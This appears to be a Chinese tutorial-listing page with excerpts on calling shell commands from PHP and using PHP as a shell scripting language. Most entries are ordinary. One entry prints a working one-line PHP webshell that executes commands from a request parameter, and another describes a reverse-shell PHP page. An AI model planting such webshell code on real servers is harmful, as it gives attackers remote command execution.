【shell-PHP结束C程序循环】教程文章相关的互联网学习教程文章

解决php接收shell返回的结果中文乱码问题_PHP

如果需要php执行一些shell命令,查看显示结果的话,如果shell输出的有中文,则php得到的中文返回结果可能类似是 “?\230?\180?\187?\229?\138?\168” 的字符串。那么需要这个函数转译: 代码如下://这个函数接收的都是路径,所以判断了文件扩展名 function shell2txt($a){ $ary = explode(/, $a); foreach($ary as $k => $v){ if(strpos($v, ?\\) !== false){ $_ary = explode(?\\, $v); foreach($_ary as $_k=>$_v){ if($_v == )...

PHP中exec函数和shell_exec函数的区别_PHP

这两个函数都是执行Linux命令函数,不同的是获取返回结果不一样,exec只能获取最后一行数据,shell_execu则可以获取全部数据。 假如脚本路径下有如下文件:代码如下: -bash-4.1# ll 总用量 12 -rw-rw-r--. 1 www web 133 7月 16 15:00 a.php -rw-r--r--. 1 lee web 59 2月 29 17:05 b.php -rw-r--r--. 1 lee web 81 3月 8 17:00 c.phpexec例子代码如下: <?php /*** exec与shell_exec的区别* 琼台博客*/ $data = exec(/bin/ls ...

php调用shell的方法_PHP

本文实例讲述了php调用shell的方法,分享给大家供大家参考。具体方法如下: 一、配置 查看php.ini中配置是否打开安全模式,主要是以下三个地方 safe_mode = (这个如果为off下面两个就不用管了) disable_functions = safe_mode_exec_dir= 二、使用 由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的...

php管理nginx虚拟主机shell脚本实例_PHP

本文实例讲述了php管理nginx虚拟主机shell脚本,分享给大家供大家参考。具体分析如下: 使用php作为shell脚本是一件很方便的事情。理所当然,我们可以使用php脚本来管理 nginx虚拟主机,下面是笔者的 脚本 文件供各位参考:代码如下:#!/usr/bin/php -q <?php start: fwrite(STDOUT,"===========Vhost Script===========\n"); fwrite(STDOUT,"= Choose an operation \n"); fwrite(STDOUT,"= 1.Create 2.Delete 3.Exit\n"); fwrite(S...

PHP和Shell实现检查SAMBA与NFSServer是否存在_PHP

通常会通过 /etc/fstab 来处理挂载的设置,然后再使用 mount -a 来重新确认挂载,最好在排程的程序用到挂载目录时也执行一次 mount -a,挂载目录在断线后是不会自动回复的,mount -a 的 Timeout 其实还蛮久的,尤其是 Server 不存在的时候,所以最好还是用对应的 client 先确认 server 是否存在。 而检查 NFS 的 client 可以用 showmount 来处理,在 Ubuntu 上的安装方式如下: 代码如下: sudo aptitude install nfs-common而 SAMB...

PHP+shell实现多线程的方法_PHP

本文实例讲述了PHP+shell实现多线程的方法。分享给大家供大家参考。具体如下: 这里介绍如何借助shell脚本实现多线程。 先写个简单的php代码,这里为了让脚本执行时间更长,方便看效果,sleep一下,呵呵!先看下test.php的代码: PHP代码:<?php for ($i=0;$i<10;$i++) {echo $i;sleep(10); } ?>在看下shell脚本的代码,非常简单#!/bin/bash for i in 1 2 3 4 5 6 7 8 9 10 do /usr/bin/php -q /var/www/html/test.php & done 注意到...

PHP+shell脚本操作Memcached和ApacheStatus的实例分享_PHP

memcached 进程启动及监控 1.memcached_inc.sh 设置路径,端口等讯息。#!/bin/sh #config include HOST=$(hostname) SITE="mysite" PORT=11211 MEMCACHED_PID_FILE="/tmp/memcached.pid" MEMCACHED_DAEMON_PID_FILE="/tmp/memcached_daemon.pid" MEMCACHED="memcached -d -m 64 -p $PORT -u memcache -l 127.0.0.1 -P $MEMCACHED_PID_FILE" MEMCACHED_DAEMON_FILE="memcached_daemon.sh" ERROR_LOG_FILE="${ROOT}/memcached_${...

新方法:将PHP作为Shell脚本语言使用

我们都知道,PHP是一种非常好的动态网页开发语言(速度飞快,开发周期短……)。但是只有很少数的人意识到PHP也可以很好的作为编写Shell脚本的语言,当PHP作为编写Shell脚本的语言时,他并没有Perl或者Bash那么强大,但是他却有着很好的优势,特别是对于我这种熟悉PHP但是不怎么熟悉Perl的人。     要使用PHP作为Shell脚本语言,你必须将PHP作为二进制的CGI编译,而不是apache(Unix平台最流行的WEB服务器平台)模式;编译成为二...

shell脚本auto安装LAMP环境

#!/bin/bash_APACHEPATH=/usr/local/apache_MySQLPATH=/usr/local_phpPATH=/usr/local/phppath=`pwd`cd $pathsleep 3echo “##########———- Mysql install———–#############”    echo “Installing Mysql,Please waiting…”    cp my.cnf /etc/    tar zxvf mysql-5.1.32-linux-i686-icc-glibc23.tar.gz -C $_MYSQLPATH    cd $_MYSQLPATH    mv mysql-5.1.32-linux-i686-icc-glibc23 mysql    c...

PHP也可以當成ShellScript_php基础

PHP 怎么这么红 最近 PHP(Personal Hypertext Preprocessor) 似乎已经成了这一两年来 Linux/Unix 上最广为大家所使用的网页处理语言﹐它的方便、强大功能与 OpenSource 的特性使得它正逐渐侵蚀到传统 CGI 甚至是 MicroSoft ASP(Active Server Page)的市场﹐几乎各大网站征招人才莫不以会 PHP 作为基本条件。 PHP 确实有这个资格可以这么红﹐原因有下面数点 : PHP 是 OpenSource 软件﹐完全免费﹐可以自由散布﹐因此吸引了极多...

将PHP作为Shell脚本语言使用_php基础

我们都知道,PHP是一种非常好的动态网页开发语言(速度飞快,开发周期短……)。但是只有很少数的人意识到PHP也可以很好的作为编写Shell脚本的语言,当PHP作为编写Shell脚本的语言时,他并没有Perl或者Bash那么强大,但是他却有着很好的优势,特别是对于我这种熟悉PHP但是不怎么熟悉Perl的人。 要使用PHP作为Shell脚本语言,你必须将PHP作为二进制的CGI编译,而不是Apache模式;编译成为二进制CGI模式运行的PHP有一些安全性的问题,...

php反弹shell实现代码_php技巧

非常无 奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。 因为我不怎么懂php,于是就找了猥琐 的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件。上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。 声明,没啥技...

php一句话cmdshell新型(非一句话木马)_php技巧【图】

代码如下:/*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型); //局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码; //write by skyfire */ echo `$_REQUEST[id]`; ?>

php读取shell管道传输过来的内容_php技巧

暮夏,您好! rainbird给您发了短消息: 已经写了不少后台运行的deamon了.用的挺顺手的,但是我现在想获取管道传过来的内容,不知道咋实现,类似echo "aaaa" |a.php,a.php怎么获得echo的内容,不知道您有什么高见. 今天收到一条消息,解决的方法给大家分享一下: 实际上,shell 的 | 实际上表示的是 前一个的 标准输出 作为后一个的标准输入。虽然实现是通过pipe来实现的, 但是你写php代码的时候不需要知道底层的运作。你直接作为标准...

使用phpshell命令合并图片的代码_php技巧

代码如下:#!/usr/local/bin/php -q author:freemouse // 下面是说明. print ("本程序用于合并2张 640x480大小的.\n"); print ("图片,并将其转化为一张 400x300 大小的图片 "); print ("需要指定存放合成前图片(a.jpg,b.jpg)的默认目录\n"); print ("生成的图片将会保存为c.jpg\n"); //默认目录,自己编辑吧^_^ $d="/home/freemouse/Desktop"; print ("当前目录为: $d\n"); print (" 图片 a.jpg 偏移, 0-100: "); $fp = fopen("p...